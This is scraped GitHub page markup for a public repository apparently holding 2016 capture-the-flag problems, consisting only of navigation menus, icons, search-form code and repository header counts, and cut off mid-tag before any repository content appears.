<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="62685294" data-scoped-search-url="/ctf-x/ctfx-problems-2016/search" data-owner-scoped-search-url="/orgs/ctf-x/search" data-unscoped-search-url="/search" data-turbo="false" action="/ctf-x/ctfx-problems-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="C+NsiQShvXetsvHuKiDwjJ/0G2VwfZiStyUiJNWbO1KgJjBdQBoDgRGF5CT7SVtbW7KbQ76CNafw0sAK5vn2Bg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ctf-x </span> <span>/</span> ctfx-problems-2016
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>3</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>15</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 